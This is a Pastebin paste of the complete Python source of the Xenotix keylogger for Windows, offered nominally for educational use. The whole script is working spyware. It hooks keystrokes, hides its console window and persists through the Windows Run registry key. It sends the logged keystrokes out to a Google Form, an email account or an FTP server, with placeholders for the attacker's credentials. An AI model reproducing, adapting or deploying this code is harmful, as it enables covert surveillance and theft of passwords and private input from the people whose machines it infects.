NightRaven97

PyLogger

Mar 4th, 2017
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.65 KB | None | 0 0
  1. '''
  2. Xenotix Python Keylogger for Windows
  3. ====================================
  4. Coded By: Ajin Abraham <ajin25@gmail.com>
  5. Website: http://opensecurity.in/xenotix-python-keylogger-for-windows/
  6. GitHub: https://github.com/ajinabraham/Xenotix-Python-Keylogger
  7. FEATURES
  8. ========
  9. 1.STORE LOGS LOCALLY
  10. 2.SEND LOGS TO GOOGLE FORMS
  11. 3.SEND LOGS TO EMAIL
  12. 4.SEND LOGS TO FTP
  13. MINIMUM REQUIREMENTS
  14. ===================
  15. Python 2.7: http://www.python.org/getit/
  16. pyHook Module: http://sourceforge.net/projects/pyhook/
  17. pyrhoncom Module: http://sourceforge.net/projects/pywin32/
  18. pyHook Module -
  19. Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
  20. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  21. '''
  22. try:
  23.     import pythoncom, pyHook
  24. except:
  25.     print "Please Install pythoncom and pyHook modules"
  26.     exit(0)
  27. import os
  28. import sys
  29. import threading
  30. import urllib,urllib2
  31. import smtplib
  32. import ftplib
  33. import datetime,time
  34. import win32event, win32api, winerror
  35. from _winreg import *
  36.  
  37. #Disallowing Multiple Instance
  38. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  39. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  40.     mutex = None
  41.     print "Multiple Instance not Allowed"
  42.     exit(0)
  43. x=''
  44. data=''
  45. count=0
  46.  
  47. #Hide Console
  48. def hide():
  49.     import win32console,win32gui
  50.     window = win32console.GetConsoleWindow()
  51.     win32gui.ShowWindow(window,0)
  52.     return True
  53.  
  54. def msg():
  55.     print """\n \nXenotix Python Keylogger for Windows
  56. Coder: Ajin Abraham <ajin25@gmail.com>
  57. OPENSECURITY.IN
  58. usage:xenotix_python_logger.py mode [optional:startup]
  59. mode:
  60.     local: store the logs in a file [keylogs.txt]
  61.    
  62.     remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  63.    
  64.     email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  65.    
  66.     ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  67. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  68.     return True
  69.  
  70. # Add to startup
  71. def addStartup():
  72.     fp=os.path.dirname(os.path.realpath(__file__))
  73.     file_name=sys.argv[0].split("\\")[-1]
  74.     new_file_path=fp+"\\"+file_name
  75.     keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  76.  
  77.     key2change= OpenKey(HKEY_CURRENT_USER,
  78.     keyVal,0,KEY_ALL_ACCESS)
  79.  
  80.     SetValueEx(key2change, "Xenotix Keylogger",0,REG_SZ, new_file_path)
  81.  
  82. #Local Keylogger
  83. def local():
  84.     global data
  85.     if len(data)>100:
  86.         fp=open("keylogs.txt","a")
  87.         fp.write(data)
  88.         fp.close()
  89.         data=''
  90.     return True
  91.  
  92. #Remote Google Form logs post
  93. def remote():
  94.     global data
  95.     if len(data)>100:
  96.         url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  97.         klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  98.         try:
  99.             dataenc=urllib.urlencode(klog)
  100.             req=urllib2.Request(url,dataenc)
  101.             response=urllib2.urlopen(req)
  102.             data=''
  103.         except Exception as e:
  104.             print e
  105.     return True
  106.  
  107. #Email Logs
  108. class TimerClass(threading.Thread):
  109.     def __init__(self):
  110.         threading.Thread.__init__(self)
  111.         self.event = threading.Event()
  112.     def run(self):
  113.         while not self.event.is_set():
  114.             global data
  115.             if len(data)>100:
  116.                 ts = datetime.datetime.now()
  117.                 SERVER = "smtp.gmail.com" #Specify Server Here
  118.                 PORT = 587 #Specify Port Here
  119.                 USER="your_email@gmail.com"#Specify Username Here
  120.                 PASS="password_here"#Specify Password Here
  121.                 FROM = USER#From address is taken from username
  122.                 TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  123.                 SUBJECT = "Keylogger data: "+str(ts)
  124.                 MESSAGE = data
  125.                 message = """\
  126. From: %s
  127. To: %s
  128. Subject: %s
  129. %s
  130. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  131.                 try:
  132.                     server = smtplib.SMTP()
  133.                     server.connect(SERVER,PORT)
  134.                     server.starttls()
  135.                     server.login(USER,PASS)
  136.                     server.sendmail(FROM, TO, message)
  137.                     data=''
  138.                     server.quit()
  139.                 except Exception as e:
  140.                     print e
  141.             self.event.wait(120)
  142.  
  143. #Upload logs to FTP account
  144. def ftp():
  145.     global data,count
  146.     if len(data)>100:
  147.         count+=1
  148.         FILENAME="logs-"+str(count)+".txt"
  149.         fp=open(FILENAME,"a")
  150.         fp.write(data)
  151.         fp.close()
  152.         data=''
  153.         try:
  154.             SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  155.             USERNAME="ftp_username" #Specify your FTP Username
  156.             PASSWORD="ftp_password" #Specify your FTP Password
  157.             SSL=0 #Set 1 for SSL and 0 for normal connection
  158.             OUTPUT_DIR="/" #Specify output directory here
  159.             if SSL==0:
  160.                 ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  161.             elif SSL==1:
  162.                 ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  163.             ft.cwd(OUTPUT_DIR)
  164.             fp=open(FILENAME,'rb')
  165.             cmd= 'STOR' +' '+FILENAME
  166.             ft.storbinary(cmd,fp)
  167.             ft.quit()
  168.             fp.close()
  169.             os.remove(FILENAME)
  170.         except Exception as e:
  171.             print e
  172.     return True
  173.  
  174. def main():
  175.     global x
  176.     if len(sys.argv)==1:
  177.         msg()
  178.         exit(0)
  179.     else:
  180.         if len(sys.argv)>2:
  181.             if sys.argv[2]=="startup":
  182.                 addStartup()
  183.             else:
  184.                 msg()
  185.                 exit(0)
  186.         if sys.argv[1]=="local":
  187.             x=1
  188.             hide()
  189.         elif sys.argv[1]=="remote":
  190.             x=2
  191.             hide()
  192.         elif sys.argv[1]=="email":
  193.             hide()
  194.             email=TimerClass()
  195.             email.start()
  196.         elif sys.argv[1]=="ftp":
  197.             x=4
  198.             hide()
  199.         else:
  200.             msg()
  201.             exit(0)
  202.     return True
  203.  
  204. if __name__ == '__main__':
  205.     main()
  206.  
  207. def keypressed(event):
  208.     global x,data
  209.     if event.Ascii==13:
  210.         keys='<ENTER>'
  211.     elif event.Ascii==8:
  212.         keys='<BACK SPACE>'
  213.     elif event.Ascii==9:
  214.         keys='<TAB>'
  215.     else:
  216.         keys=chr(event.Ascii)
  217.     data=data+keys
  218.     if x==1:  
  219.         local()
  220.     elif x==2:
  221.         remote()
  222.     elif x==4:
  223.         ftp()
  224.  
  225. obj = pyHook.HookManager()
  226. obj.KeyDown = keypressed
  227. obj.HookKeyboard()
  228. pythoncom.PumpMessages()
Add Comment
Please, Sign In to add comment